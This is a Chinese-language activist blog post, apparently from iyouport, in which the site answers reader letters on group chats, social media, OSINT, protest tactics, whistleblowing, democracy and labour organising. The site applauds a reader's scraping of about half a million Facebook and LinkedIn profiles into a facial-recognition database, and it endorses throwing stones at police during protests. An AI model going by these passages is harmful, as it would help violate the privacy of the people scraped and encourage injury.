这对那些明确区分安全渠道和不安全渠道的敏感人士来说，会尤其明显。因为他们在诸如微信那样的不安全渠道中采取的是完全不同的身份，当你在安全渠道联系他们时，你会发现“判若两人”。从防御角度上说，我们非常鼓励分身的做法，互联网可以为分身提供极大的便利；而“判若两人”恰恰是值得称赞的完美身份效果。

如您所见，如果人们的行为习惯被固定在群组而非社区的性质下，技术上的安全并不能帮助您带来更好的互动体验，也不会激发畅所欲言和创造力。

在群聊的关系中，您需要拼命地表现自己，用中文的网络语言说就是“人设”，这个人设您可以随意构建，而一旦确立，它就必需是固定的，至少是稳定的，与您的昵称、头像、兴趣点、言论等各方面结合在一起，就是您的标签，人们将通过您为自己构建的人设去与您交互。

什么样的人设最受欢迎？您肯定比我更了解，比如风骚的、幽默的、多金的、有社会地位的、甚至呆萌的，都将让您为他人所喜欢。您看到了吗，这里面完全可以不包括智慧、知识面、创造力、行动力等等社区环境下备受欢迎的特征。

如果您想让一个群组变得热闹一点，那很好办，您只需要采取那些所有人都能说上几句的议题，比如，色情，性体验 ..... 或者美食、育儿、夫妻关系，再或者，尤其普遍被采取的方式就是，嘲笑本群组之外的其他人的愚蠢。

当群组转向加密通信时，上述这些特征将延续，因为群组的性质并没有改变，人们之间对关系的理解和经营模式，并没有改变。

这种情况下如果您希望得到的是一些严肃的辩论、一些深入的探讨，您肯定会失望。您当然可以随意引领话题，但您会发现，大多数情况下它无法展开，您将遭遇冷场和无人回应。

在中国，我们听到过很多焦虑，基本都集中在缺乏信任以及竞争的压力方面，这是完全可以理解的—— 当你们无法信任彼此时，您就不得不隐瞒自己的信念；而当您被置于竞争环境下的时候，您将被迫更

多地索取。

我们对信任问题有过一些解释，也对渗透的操作给出过具体分析；在我们看来，人们真正缺乏的是一个共同目标，目标就是信任的指标，也是将竞争良性化以提高效率的最佳工具。

想要将群组转变为社区，也并非不可能，虽然需要时间，组织者应致力于就一个*共同的战略目标*进行持续的引领。

逃离社交媒体

「图」

Letters：我找到了一个逃离社交媒体的方法。我花了一年的时间做实验，结果显示效果非常好。

方法很简单。我买了一大包便签纸，就是有背胶但是很小的方块那种贴纸，我在上面写字。每当我想要在社交媒体上发帖的时候，我就拿出便签纸，把想要打出来的字写在上面。由于那个纸很小，它就类似于推特的字符限制，你无法长篇大论，必需提取要点。

这非常有趣，我发现自己的表达完全自由了，我再也不用下意识地考虑关注我的人怎么想，不用再考虑我的话是否会得罪平台大佬以至于被他们的算法掩盖住，更不用担心警察会看到我的话从中挖出什么东西来对付我。因为写好后我会把便签纸贴到一块大的白板上，按照时间线布局，下面是早先的，上面的最新的，那块白板就在我的书房里，那是我一个人拥有的空间。

我会非常仔细地思考自己会写下什么，因为所有写下的内容我都不会扔掉，我不想在几天后发觉白板上有错误的想法让我后悔。而在社交媒体上，我说话往往很不负责任，因为不论我说什么，我自己也很快就会忘掉，被每时每刻都铺天盖地的信息洪流淹没。这块白板给了我审视自己的想法的机会，我总是能从一大堆杂乱的想法中梳理出自己的情绪因果关系。这比心理医生有用多了，心理医生所做的大部分工作就是帮你梳理情绪因果。我发现我不需要他们来帮忙。

社交媒体上遍布着废话和一次性消费的文字，因为它的流速太快了，人们来不及审视自己的想法，来不及思考。而我走出了那个漩涡，给自己开辟了一个可以审视自己的空间，完全真实地完全敞开地看清楚自己的心和大脑，这真是绝妙的体验。

就如你们常说的那样，信息一旦上了互联网就基本没可能完全删除，也就是说你没机会后悔，人们已经学会了发帖之前进行严格的自我审查—— 不是自我审视，是自我审查，这不一定是政治性的，或者说它是全方位的，自我审查，“这句话符合我的人设吗？” “那句话会让我的粉丝误会我吗？” “这种而不是那种表达能让我看起来更有魅力吗？” …… 你为什么要让自己活得那么累？

白板上的便签纸让我能有充分的时间后悔，我甚至喜欢上了后悔，因为除了我自己之外，没有任何其他人可以责备我，而我自己的后悔能帮助我得到快速的进步。任何人的点评都不会让你得到这样的进步，如果你没有真正坐下来面对自己的话。

我并没有完全离开社交媒体，我从推特得到全世界其他人的智慧，然后在我的便签纸上，把它们转化为我自己的智慧。这是你点一百次转发也得不到的沉淀。

我不会写长篇文章，这封信写给你们算是一个帖子吧，你们随便怎么用。如果能让更多人受益那就更好了。

iyouport：感谢您分享的创意！

说出真相

「图」

Letters：前段时间我做了个实验，写爬虫成功抓取 *Facebook* 和 *Linkedin* 的人脸图片及个人资料，并且能建立人脸识别数据库；人脸库抓取了大约四五十万人 ……。给任何一张人脸，识别几率在百分之 *95*以上（亚洲人脸匹配率稍低，但至少*90*＋）；我一个人都能做到这样的程度，有一定资源的组织方面可想而知，会更恐怖……

去年年底发现 *Facebook* 加强了反爬虫措施，信息通讯的延迟会随着数量慢慢增加，想抓取大量信息需要的时间就增加了（但依旧不是太大问题）。

另外，我自己也一直在学习开源情报，但有一点我想不通，给各类爆料视频做数字取证做为公民证据，最后的理想结果是怎么样的呢？把证据曝光出来给公众和政府吗？现在看到世界上这么多丑闻各国都无动于衷，做数字取证的意义何在呢？这是我一直想在你们网站上寻找的答案，但一直找不到，所以只能请教一下你们的看法了，谢谢！

iyouport：太棒了，为您鼓掌！

是的，Facebook 是这些寡头中对数据最吝啬的一个，他们对公民调查免费使用数据的项目非常苛刻，就像他们关闭图谱搜索那样。于是对于 Facebook 的开源调查工具总是需要更新。

我认为您提出了一个非常好的问题。如果说真心话，一半程度上公民调查工作是在当权者控制的叙事矩阵 “对面” 制造平行宇宙，以保证当权者操纵的叙事不能起到他们所期待的足够的作用。也就是说，保护公民知情权，让尽可能多的人在关键时候做出正确的决定。

但这是一项艰难的工作，不只是调查艰难，更有真相的传播渠道，需要在当权者控制的媒介中抢夺空间。不论是算法专制还是花样连篇的审查制度，当权者控制着大部分限制信息流通的手段，他们足够保护他们自己的叙事矩阵的完整性。

对于我们来说，幸运的是，已经越来越多的人开始怀疑官方叙事，IYP对公民调查技巧教程方面的积极，就是希望能借助大众对官方叙事的怀疑这一利好局势，让真相及时地补充进来。

但上述只是一半程度上的意义，而另一半程度上就是您正确地指出的问题：“他们无动于衷”。不仅是我们这些捍卫真相的公民，包括吹哨平台和独立媒体，包括全球最大牌的那些人权组织、甚至包括有一定执法权的联合国，都已经沦为只能写一篇篇的报告的境地 —— 这些报告对作恶的政权来说根本无关痛痒。

这就是我们面对的最惨痛的局面，我们应该承认这点。从承认开始，推动运动来改变它。所以说，“说出真相” 只是一个开始，它需要结合非常多的行动主义战略才有可能起到改变现状的作用。但真相是必需的和最重要的开始，如果没有足够多的人们了解真相和理解我们捍卫真相的重要性，任何行动主义动员都难以实现。

爱，作为最有力的武器

「图」

Letters；……一切都是仇恨。你们也说过这个问题，异议不会爱，人们用共同的仇恨连接起来，然后只能在仇恨中消解。反对却没有建设性，一旦有一点好处，就能把一些人拉走 …… 仇恨淡了就成了忍耐 …… 我觉得挺可怕的 ……你们去年写 “香港人”和“自己人”的时候，我就觉得特别有感触。

iyouport：的确如此。在这个社会中，无论是政治进步的激进派还是自由派，都没有关于爱的有力话语。

在进步派的圈子中缺乏对爱的持续关注，意味着从压力和剥削中解放出来的努力注定要失败。如果拒绝在反抗斗争中强调爱的地位，就无法创造一种推动大众背离统治伦理的皈依文化。

如您所见，当没有一种爱的伦理来塑造政治愿景和激进的变革方向时，人们往往就容易以一种或另一种方式被诱惑，继续效忠于统治体系。

只有当反抗者扩大对统治政治的关注、并具备感知他人遭受的压迫和剥削的能力时，才会出现承认盲点的能力。只有爱的伦理能使这种扩展成为可能。民权运动改变了美国社会，因为它从根本上植根于爱的伦理。没有哪个领导人比小马丁·路德·金更强调这种伦理了。他有预见性的洞察力，认识到建立在任何其他基础上的革命都会失败。

支配文化是反爱的，它需要暴力来维持自身。选择爱，就是反抗者最重要的武器。许多人感到无法爱自己或他人，因为他们不知道爱是什么。像蒂娜·特纳 (Tina Turner)的 “爱和需求” 这样的当代歌曲提倡一种围绕欲望的交换系统，反映了资本主义的经济学：它嘲笑爱作为反抗武器的重要性。

美国作家托马斯·默顿认为，人们在竞争性消费主义资本主义的框架内被教导将爱视为一种商业交易：“这种爱的概念假设供需关系的买卖机制是一切运转的原因。它将生活视为市场、将爱视为企业的变种”。尽管许多人承认并批评爱情的商业化，但他们别无选择，他们不知道如何去爱，甚至不知道爱是什么，很多人感到失落，不断寻找其他定义，寻找在否定人类价值和重视唯物主义的文化中维持爱的伦理的方法。

各种心理康复的鸡汤、所谓的自爱教程、以及人际关系能力的书籍的热销，证实了公众如何对生活缺乏认识。 M. Scott Peck 的书《The Road Less Travele》解决了这个问题。Peck 为爱提供了一个可行的定义，对于那些希望将爱的伦理作为所有人类互动核心的人来说，这很有用 —— 将爱定义为 “为了培养自己或他人的精神成长而扩展自我的意愿”。

Peck 在评论写道：“我们文化中的每个人都在某种程度上渴望被爱，但实际上很多人并不会爱。因此我得出结论，爱的欲望本身并不是爱。爱是一种意志的行为—— 即意图和行动。我们不是 “拥有” 爱；

我们选择爱。

他的话呼应了马丁路德金的宣言，“我决定去爱”：这也是在强调选择。金相信爱是这个国家和整个星球面临的问题的“最终唯一答案”。同意这种信念就是在选择爱，并以爱作为政治的道德基础，从这里开始，我们才最有能力以促进集体利益的方式改造社会。

金和我们大多数人一样，生活在一种对爱保有恐慌的文化中。在这种文化中，金的观点往往被视为仅仅是感性的，这确实令人惊讶。甚至在进步派的政治圈子里也是如此。在更广泛的范围内，有许多人公开承认自己被自我憎恨的感觉所吞噬，他们感到自己没有价值，他们希望找到一条出路。他们往往受困于无力的绝望，无法有效地参与任何社会变革的运动。

然而，如果反抗运动的领导者拒绝解决人们生活中的苦恼和痛苦，他们将永远不会有动力考虑个人和政治的康复。任何政治运动，只有当它能够在解放斗争的背景下有效地解决精神上的这些需求，才会取得成功。

过去，大多数人都是在宗教经验的背景下了解和照顾精神的需要。教会的制度化和商业化削弱了宗教团体改变灵魂、进行政治干预的力量。科内尔·韦斯特（Cornel West）在评论现代社会的集体精神损失感时曾说过：在这个社会中，普遍存在着精神贫乏的现象。历史上有一些文化力量和传统，如教会，将冷酷无情和卑鄙无耻遏制住了。然而，今天精神的贫乏意味着这种冷漠和卑鄙正变得越来越普遍。教会通过促进尊重他人的意识、团结的意识、意义和价值的意识，来遏制这些精神贫乏，这将迎来与邪恶斗争的力量。

维持生命的政治社区可以为精神的更新提供一个类似的空间。只有当我们在进步的政治理论和实践中解决精神的需求时，这种情况才能发生。

意识是爱的过程的核心，是自由的实践。每当我们这些被剥削和被压迫群体的成员敢于批判性地审视我们的位置、审视那些操控我们的生活的身份标签和对效忠的强迫时，就可以开始反抗行动了。如果我们在自己身上发现了自我憎恨、低自尊或内化的等级制思想，并且面对它，我们就可以开始治愈的过程。

承认现实的真相，包括个人和集体，是个人和政治成长的必要阶段。这是很平常的—— 在学会爱的过程中的痛苦阶段，无法避免。同样，一旦我们选择了爱，就可以本能地拥有了面对这种痛苦的内在资

源。穿过痛苦的另一面，您会发现快乐，精神的自由，这是爱的伦理所带来的。

选择了爱，您也就选择了生活在社区中，这意味着不必自己去改变。我们可以依靠批评性的肯定和与志同道合的队友们对话来实现。在社区内工作，无论是与另一个人分享一个项目，还是与一个更大的团体合作，都能在斗争中体验到快乐。这种快乐需要被记录下来。因为如果我们只关注痛苦，关注在任何转变过程中肯定真实存在的困难，就只能展示一个局部的画面。爱的伦理强调了为他人服务的重要性。服务加强了人们认识同情心的能力，加深了人们的洞察力。为了服务他人，我就不能把他们看作是一个对象，而是必须看到他们的主体性。就如乔安娜·梅西在分享香巴拉战士的教导时所写道的：我们需要慈悲和洞察力的武器。

正如梅西所指出的，同情心和洞察力可以“支撑我们成为健康变革的推动者”，因为它们是“我们在治愈这个世界时可以索取的礼物”。

当大量的人仅仅从“我们和他们”的角度思考问题，将种族主义的资本主义父权制的价值体系内化，就会出现盲点，建立社区所需的移情能力就会减弱。相反，当您选择去爱的时候，才可以真正开始对抗统治，反对压迫。只有当您选择爱的时候，才能开始走向自由，以解放您自己和他人的方式行动。这种行动是爱的见证，是自由的实践。

奥弗顿之窗

「图」

Letters：你们总说公共舆论“跑题”，我的理解是不是指的你们说的现实的不同层面？这种跑题如果是普遍的话，它大概是怎么造成的？

iyouport：去年的对话中我们警告了知识分子的跑题，但说实话，这可能不完全是知识分子喜欢跑题的问题，更多是媒体喜欢——“你要不要谈谈这个/或那个”这样的邀请，给知识分子制造了一个奥弗顿之窗。

一个狭窄的、且不断紧缩的奥弗顿之窗。

这在全世界都是如此。

媒体让你选择支持这个政权还是那个政权，但他们不会给你机会说出为什么你不应该顺服于统治阶级；

他们让人们辩论违反政府“保密法”的行为，而不是变态的保密是否民主；

他们让人们争论可以如何进行网络审查、以及应该对谁进行审查，而不是警惕审查是民主的坟墓；

他们让人们争论监视机器的算法如何才能做到“更公平”，而不是“你有什么资格监视我”；

他们让人们争论这件事或那件事是否是“阴谋论”，而不是讨论有权势的1%一直在合谋瞒骗99%的已知事实；

他们让人们争论应该允许穷人获得多少政府支持、扶贫工作好不好，而不是是否应该允许富人保留他们从穷人那里偷来的东西；

他们让人们在争论应该用钱做什么，而不是在讨论货币概念本身是否需要彻底改革；

他们让人们辩论一群抗议者是否足够有礼貌、足够非暴力，而不是辩论那些抗议者的真正诉求 ……

他们让人们互掐，把精力都浪费掉，从而看不见他们编织的大笼子已经把所有人都装进去了。

在奥弗顿之窗里，你只能看到他们让你看到的东西；似乎什么话题都可以谈论，但是，他们可以确保你的任何讨论都不会危及到他们的政权稳固和经济利益。

奥弗顿之窗是一个生态系统，只有在这个窗口内才能让媒体盈利。这就是为什么通过撰稿维生的人很容易跑题。因为真正的主题是在“窗”外的。

但知识分子可以改变这点。知识分子对媒体言论有一定程度的制衡力，您完全可以利用这个机会打破“窗子”；如果媒体拒绝刊发您的“出格”言论，这本身就是一个巨大的新闻 —— 可以充分揭露他们的虚伪和谎言。

知识分子有这个机会，而我们其他人没有。但是，如果知识分子无法识别奥弗顿之窗、甚至信仰牵制和绑架他们的媒体，我们其他人可能很难打破那扇窗子。

我们在5月份的书籍推荐《如何理解愤怒经济》中指出的媒体问题事

实上是经济模式问题，经济模式问题事实上是垄断问题；而解决方案除了反垄断的持久战之外，更要紧的是从读者入手，让读者识别这种操纵，引导更多人从愤怒经济的漩涡中幸免。幸存者将意识到需要抵抗什么、为什么抵抗是重要的。

反抗者的队伍没有“派系”之分，只有战略需要的战术选择

「图」

Letters：…… 一定程度上我围观了明尼苏达的抗议，基本看懂了，但也有点失望，似乎和我曾经想象的反抗不大一样。目前都没见到特别明显的收益 …… 还有各种吵架，不胜其烦 …… 你们也曾经提到过这场反抗存在的问题，能不能具体说说，它缺少什么？谢谢。

iyouport：既然您已经围观，我在这里就不做具体描述了。整体上与去年相比，缺少的是角色的多样性和左翼环境之外的参与者。也就是说，这次抗议活动需要有更多的战术性，而不是只用好战的美学（盾墙）。

无中心的运动总是会产生一些战术思考方面的冲突，尤其是当很多战术都是灵活应变的选择时。比如向警方投掷石块等小物品的战术，在僵持阶段被一些反抗者作为转变被动地位的方式而采取。但是您能听到很多其他人在叫骂“别特么扔了”，这是由于大家没有意识到，即使是零星的投射使用，也会让警察犹豫不决，不敢上前。当面对一长串防暴警察时，距离是你们的重要优势。

战术多样性很重要，但所有战术都在同样的原则和框架之内，原则和基本框架指导战术选择。活动家组织应该长期普及战略性思考方式，这样人们在战术选择的时候就更容易趋近不约而同—— 在现场是没时间开会讨论的。

底线是去年的起义是有效的，因为它是一个令人难以置信的多样化的交叉在南明尼阿波利斯，代表许多不同的社会阶层，并带来了许多不同的战术方法，以及集体智慧，在街道上有机地发展。

而今年，恐怕“前线激进派”的角色太过特殊化了，让警察更容易在这种所谓的激进派身份和所谓的“和平抗议者”之间进行区分，而将反政府行动者完全孤立起来，认为他们完全是非政治的，完全游离于起义之外的，而不是起义的积极参与者和最前卫的部分。

这是一个反抗者在角色设计上的失误，比如香港的“勇武派”，这个角

色身份的确立就给了当局切割这部分行动者的借口—— 而不是被迫让当局承认这就是整个运动的战术多元化的一部分，就是要让镇压者无法预测的部分，强调 “我们随时可以升级运动，我们有足够的空间”。您可以在这里回顾更详细解释《暴力的非法性，合法性的暴力》。

换句话说就是，镇压者会密切关注反抗者内部的一切分化迹象，并充分利用每一个分化机会，将不会威胁到政权的那部分筛出来，“拉一个打一个”。而作为反抗者，我们不应该给镇压者这样的机会，相反，我们的战略原则应该包括尽可能出其不意以迷惑对手，让他们不得不消耗他们的精力去调整战术。

“Be water” 事实上就是这个意思，它在强调将行动分散开，让它蔓延到都市区的各个角落，从不在一个地方停留足够长的时间以至于被警察抓捕，同时，仍然保持行动效率，并造成同样多甚至更多的威胁性。

反抗者需要避免专门化的上述角色，需要走在坏人劫持和洗白的前面，需要继续阐述为什么这些战术是好的、必要的和有效的，需要不断提醒人们，**“Be water”** 意味着我们不会停留在一个地点，而是自由地移动和流动，在需要的时候远离法律，在机会来临的时候迅速凝结，像巨浪一样冲出去。

对于明尼苏达州这场历史上最大规模的警察动员，反抗者已经不可能用对称战法获得突破，你必须用自己的方式和他们战斗。

国家什么都没有，只有时间，反抗者也什么都没有，只有人数，所以，反抗者要靠损耗取胜。要让统治阶级筋疲力尽，无限地浪费他们的时间，欺骗镇压者，分散他们的注意力 ……

并非所有 “内幕消息” 都是 “泄密”

「图」

Letters：最近中国出了一堆泄密事件，但是很明显没有任何作用。最多几个转发。吹哨已经没有意义了吗？…… 你们接受爆料吗？有什么条件？

inouport：泄密这个概念在应用层面的准确性很低。似乎任何人搞到的任何信息都能随口称之为 “泄密”，这很糟糕。一个信息之所以称为“秘密”，是因为统治阶级在尽全力维护其不可见性，该信息的曝光

将撼动权力根基。如果只是证明了已知的状况，它就不是秘密。

全世界所有统治阶级都非常擅长*过度*保密，也就是说，他们已经给自己留出了充分的可利用空间。这就是为什么潜在的吹哨人需要知道什么才是真正重要的和有利的证据，也就是说应该获取什么；同时吹哨平台也应该有指导性，关于在一个局面下缺少什么信息，把它们列出来，以便给予潜在的吹哨人以指引。

事实上这就是新闻媒体的本职工作，即：挖掘出一个事件/局势下缺少的信息。而不是呈现(突出)已有的信息。现代新闻在很大程度上把这一基本职能给搞反了。

我们解释了为什么豪根不是吹哨人，其中已经呈现了如何判断吹哨人/吹哨本身的基本方法，于是不会继续分析其他案例。

乱用吹哨概念是很危险的，在反抗运动中制造概念混乱只会让统治阶级获利。

曾经有中文使用者通过 protonmai 发送邮件给我们，希望爆料。但是其中产生了一些典型的误会，我们感觉有必要再次重申一些事。

1、IYP支持透明度革命，但我们本身不是吹哨平台。作为吹哨平台需要非常完善的安全措施，不是一个PGP能解决的问题。但我们介绍过如何创建吹哨平台。

如果您有资源和技术信心，您可以在世界上任何有网络连接的地方完成这项工作。

当然，验证吹哨信息是另一项工作。具体技巧详见 列表-3 中「不再吃瓜」和「公民调查指南」两个板块。

2、两个protonmai 邮箱之间的通信自动加密，不需要额外的PGP；如果是与其他不同的邮箱联系，方法在这里。

3、您的泄漏必需建立在充足证据的基础上，您需要提供可验证的文件、资料、带有元数据的和可验证为未经编辑的视觉信息等；而诸如「我听某某说」、或者「我亲眼看见」等等，均不会予以采纳。

4、IYP *绝不会*通过任何邮箱与您探讨具体的在中国实践的战术计划；如果您收到了以我们的名义谈论类似话题的私人邮件，请怀疑其为身份盗用。

5、如果与我们的合作导致您承受任何威胁，我们能给您的援助与您所了解的所有「国际声援」能给你的援助，是一样的，绝不会更多。从白宫到联合国，如果任何人或机构声称您与他们合作将「确保安全」，请视其为骗子。

这正是为什么我们始终致力于教会您自己保护自己的方法，因为诚实地说，唯一有效的保护措施需要由您来完成。

民主存在吗？

「图」

Letters：你们连续发布了好几个说民主的文章，我看了，总的感觉是，太激进，我认同你们的结论，但我感觉在中国这么保守的地方，可能很少有人能理解这么激进的观点 …… 民主真的存在吗？为什么都叫民主国家却有那么多的区别？可以用不那么激进的让中国人能懂的话说说吗？谢谢。

iyouport：人们倾向于认为民主是一套政府机构。认为它是一种政治秩序，其特点是公开选举、宪法约束、法治、言论自由、新闻自由、独立的司法机构，等等。这是有道理的。这些机构确实在政治生活中占有重要地位。

但是，这些政治机构在一个所谓的民主社会与另一个民主社会之间有很大的不同。在被广泛认为是“民主”的社会中，投票程序、代表计划、言论自由的概念和司法安排可以说大相径庭。在其中一些国家，投票是法律规定的，服兵役是强制性的；在其他国家，这些行为是自愿的。 一些“民主国家”有明显的言论限制和审查，其他国家则有不同的、更模糊的界限。而古代雅典人是通过抽签，而不是通过投票来任命代表的。鉴于这些差异，这些社会怎么可能都是民主国家呢？

这就提出了一个问题：虽然某些制度形式属于民主国家的特征，但是，民主本身应该与这些制度所实现的社会类型相联系。因此才可以看到具有不同宪法的两个社会如何能够都是“民主国家”。

这就又提出了一个明显的问题：什么样的社会是民主的？

很多人（如您所言，不够激进的人）倾向于赞同林肯在葛底斯堡演讲中的描述，他认为民主是民有、民治、民享的政府。然而，也仅此而已了—— 因为，首先，它捍卫了一种核心的政府模式；更重要的是，它没有说明政府由人民组成意味着什么。按照林肯的说法，这个

标准可能允许一个社会算作民主社会，即使是仁慈的寡头或一些其他小团体，管理它。 考虑到这一事实，许多民主国家的投票率低得令人震惊。

林肯的论述中缺少的是：民主是一种对全体人民负责的社会秩序这一观点。在一个民主国家，人民不仅自我管理，而且他们作为平等的伙伴自我管理。其中没有任何一个人可以是另一个人的政治附属品、主人或霸主。简而言之，民主制度是一个人民以政治平等的方式管理自己的社会。

值得强调的是，政治平等并不意味着每个公民都是相同的，或同样令人钦佩。相反，我们要追求的政治平等意味着我们平等地参与到集体自治的活动中。我们每个人都可以对政治事务做出自己的决定。

然而，您可以看到，这一真正的民主的概念提出了一个新的困难：可以说，没有任何一个现有的社会符合这个定义。也就是您所感觉到的“民主是否不存在”。在当下所有自称是“民主”的社会中，公民之间的严重不平等、社会阶级落差和历史障碍，都是普遍存在的。这个地球上您找不到任何一个政治平等的自治社会。每个现有的社会都没有达到这个标准。

那么，这是否意味着民主并不存在，任何社会都不应该算作民主？…… 要知道为什么，需要退一步考虑一些关于我们可以称之为愿景的概念的特征。

您可以从问一个不同的问题开始：亚里士多德是一位科学家吗？他写了很多关于科学主题的论文，从海洋生物学和植物学到天文学和物理学；然而，他从未通过显微镜观察过，也没有DNA的概念；他从未听说过进化论或牛顿定律。此外，他对自然现象的看法，以今天的标准来看，很难称之为科学。例如，他认为物种是永恒的，男人和女人的牙齿数量不同，地球是宇宙的中心，宇宙的运动必须由一个目的来维持，而且形式和物质的解释必须是不同的 …… 这些观点不仅是不正确的，而且可以说是阻碍了科学的进步。

尽管如此，亚里士多德试图通过一种特殊的调查方式来解释他周围的世界，这种调查方式指导他观察、修补、做笔记、跟踪事物的变化，根据现有的数据进行理论化，并在出现新的证据时进行修改。

由于这个原因，亚里士多德确实是一位科学家。他的地位是由于他的经验研究体现了他的愿望，以及这种愿望指导他的工作的方式。托勒密和牛顿也是如此。此外，人们认为当代科学家是“真正的科学家”，

尽管也应该预计到，在未来100年内，新的发现将使现在的科学家所相信的大部分内容变得过时。

对于民主，也可以套用这个道理。它是一个政治愿望的名称。因此，一个社会之所以暂时算得上是“民主的”，因为实现政治平等的自治社会的目标在多大程度上指导着其机构和实践。

无政府主义致力于追求真正的民主，平等自治作为原则全面指导实践。

一个社会是否可以算作是民主的，不能仅仅据其声称是“民主的”来决定。

将亚里士多德看作是一个科学家，不仅仅是因为他说自己是科学家。相反，他作为科学家的地位与他如何进行调查有关；他之所以被视为科学家，是因为了解世界的愿望指导着他的努力。同样，如果一个社会要体现出民主的愿望，它必须满足某些必要的制度和实践条件。如果您不是无政府主义者，可以回到熟悉的政府和制度形式，当我们想到民主的时候，通常就会想到：公开和公平的选举，法治，言论自由，等等。一个社会如果不能满足某些基本的制度要求，就不能算作民主，因为它不能被视为包含了民主的愿望。

但这还不是全部。民主的愿望还必需包括创造一种文化，在这种文化中，实现平等的自治社会的目标在政治官员和公民的思想和实践中起重要作用。这意味着，要使一个社会有资格成为民主社会，某些类型的考虑、理由和争论必须在政治政策的讨论中得到充分考虑。

举个简单的例子，一个有说服力的论据，大意是某项政策削弱了一些公民平等参与自治的能力，必须算作对该政策的有力批评。更重要的是，在没有有利于该政策的类似考虑的情况下，基于平等的批评必须被认为是决定性的。现在换个角度来看，一个关于平等的争论在政治话语中根本没有意义的社会，充其量只是一个衰落的民主，甚至可以说根本不是民主。同样，那些无视平等问题的政客和政治联盟，或者那些公开寻求限制任何公民平等参与自治活动的政客和政治联盟，实际上已经完全脱离了民主。

因此，尽管当下没有任何一个社会符合民主的严格定义，但“民主国家”仍然存在。现实世界中的某个社会之所以可以称为是民主的，因为它满足了两个相关条件：首先，这个社会必须具有某些特有的政治机构；第二，人民 —— 政治家、官员和公民 —— 必须将这些机构视为体现了更充分地实现平等的自治理念的道德愿望。至关重要的是，

这意味着一个民主国家的人民必须在自己的政治思维中把某些关于平等的道德考虑当作政治上的突出问题—— 这总是最重要的，有时是决定性的。

最后，必需强调以上论述的一个重要结论。人们通常认为民主是被建立或确立的东西；这导致人们认为，一旦民主“建立起来”，剩下的就是坚守它的任务了。这是一个严重的错误。一旦您认识到民主是一种愿望，您就能明白，民主的任务是维持它的生命力。而维持民主就是要努力去改变它 —— 使之朝着更大的政治平等方向发展。

工运已经死了吗？

「图」

Letters：工人的反抗越来越难，很容易被拆散…… 罢工还能革命吗？……传统的工会不符合无政府主义的原则，是不是意味着无政府主义反对工会主导的工人运动？

iyouport：不论是无政府主义者还是非无政府主义者，很多人对劳工组织的批评都差不多，即 现代的工作场所与以前不同了。几十年来，工作已经发生了巨大的变化，以至于传统的劳工组织已经跟不上了。

毫无疑问，20世纪末的资本主义到现在已经被改变了无数次，最明显的例子是传统上工会组织的制造业工作的流失。技术发展迅速，许多工作都是自动化的，正如大卫·格雷伯所说的那样，是除了提供“工作”以外没有任何作用的狗屁工作。临时工/零工工人比比皆是，还有独立承包商、远程技术工作，以及一些工人们甚至不在一起工作的工作（如AI工人的众包工作）。在这些可怕的新形式的奴役之上，许多工作，如亚马逊，都是通过算法运行的，消除了资本主义的“human face”。那么，对许多人来说，似乎劳工组织无法与这些变化竞争，对于旧的战术来说这是正确的，但必须问的问题是：已经从根本上被改变的东西究竟是什么？

许多人在理论上认为，工作场所将被侵蚀，演变为地狱般的东西，由于资本主义的“变化”，自动化失控或传统存在形式的破坏。然而，更糟糕的事情已经发生了—— 工作场所并没有被侵蚀或演变，相反，它是被成倍复制了。

这并不是说“工作”或我们专注于无意义的任务以产生利润的时间已经改变，而是，我们与工作的关系已经改变。大多数人仍然在工作，只是现在他们从事两份或三份工作；我们仍然得到报酬，但现在报酬

更少了，对一些人来说，报酬是零碎的，或者不是固定的；我们仍然有老板，但现在这些老板不露面，甚至根本不存在，我们被机器算法命令着；我们仍然有同事，但和大多数人一样，我们和同事彼此间被疏远了。

因此，从根本上说，关系本身是相同的，只是现在这种关系中存在着差异。如果您是一个专注于维持和平的古板的商业工会，那么当然就完蛋了。就如美国最大的工会AFL-CIO那样，没有在新的行业中发展，因为它并不真正关心，它不专注于推进解放，它反而专注于自己的稳定。相比下，卡车司机们多次表示，他们将对亚马逊这个灾难进行反击 …… 就如全世界的快递小哥联合起来反抗那样，这是伟大的进步。

来自非工业行业的自发的工作场所反抗行动已经越来越多。许多科技公司因各种问题而引起了罢工；在视频游戏行业，从Riot游戏公司员工的罢工，到最近暴雪-Activison公司员工反对性别歧视和工作场所性侵犯文化的努力，都有持续的组织活动。两年前，谷歌员工工会成立，他们并不担心工资问题，而是担心公司的众多奥威尔式的操纵行为。

服务业也仍然是可组织的，即使它看起来非常零散。比如最近在IGD上发表的以劳工为中心的文章之一就是关于 Burgerville 工人工会成功地将他们的快餐工作场所组织起来的行动。纽约水牛城的星巴克工人最近一直在领导一场成功的运动，并且很可能很快就会有一个工会 ……

以这些近期的工人反抗行动为例并不是说它们肯定能激发一场革命，而是为了指出一个事实，即 劳工组织仍然充满了活力。换句话说，新的行业和新的工作并非不可组织，游戏已经完全改变，这里的重点在于，必须使用和发展一套新的战术。工作场所本身没有改变，而是有了不同形式的剥削和压迫；工作本身仍然存在，但人们之间的关系已经被改变了。

大多数人已经明显感觉到，按时下班和周末休息的时间越来越少；人们为了更少的报酬而工作更多的时间，这意味着我们与工作本身的关系已经变得更加苛刻了。当您的队友说他们不能参加行动或不能参加会议，因为他们要加班时，任何反抗者都会感到难过。人们并非没有反抗意识，也已经有一些人试图将直接行动和互助的努力与自己的工作安排结合起来，这并不是因为他们热爱工作，绝不是，而是因为他们没有其他选择，这份工作意味着他们是否会有食物。

正如资本主义初期的情况一样，人们有两种时间的存在：工作时间，在一个你最讨厌的并随时渴望摧毁它的地方煎熬；自由时间，你可以成为行动者，做你喜欢和关心的真正的事业。

但不得不说，这种二分法阻碍了反抗的努力。如果人们只能在工作允许的情况下表达激进，如果人们必须根据自己从工作中获得的空闲时间来管理行动主义，那么反抗就已经沦为了“工作”的附属物。如果劳工组织已经不在工具包中，工作场所就无法发展自由。

无止境的繁忙可能意味着大多数人已经不在某个亲密团队中，因此我们必须向更广泛的社会延伸。但是，即使是在同一个城市或社区的人也可能看不到您的动员和您的示威，如果他们像大多数人一样在地狱中沉浸于工作，他们就没有时间去关注。

如果工作场所已经被迫成为人们生活的中心，那么组织工作场所就必须以某种方式成为反抗行动实践的中心。你的大多数同事可能和你有同样的感觉，但如果你不去接触他们，又怎么能知道呢？而什么是最好的接触方法，如何把同病相怜的工人们组织成革命战友？怎样才能形成工作场所的亲密团队以联合起来做直接斗争？一个经过改善的现代无政府主义-工团主义运动也许可以提供一些答案和工具。

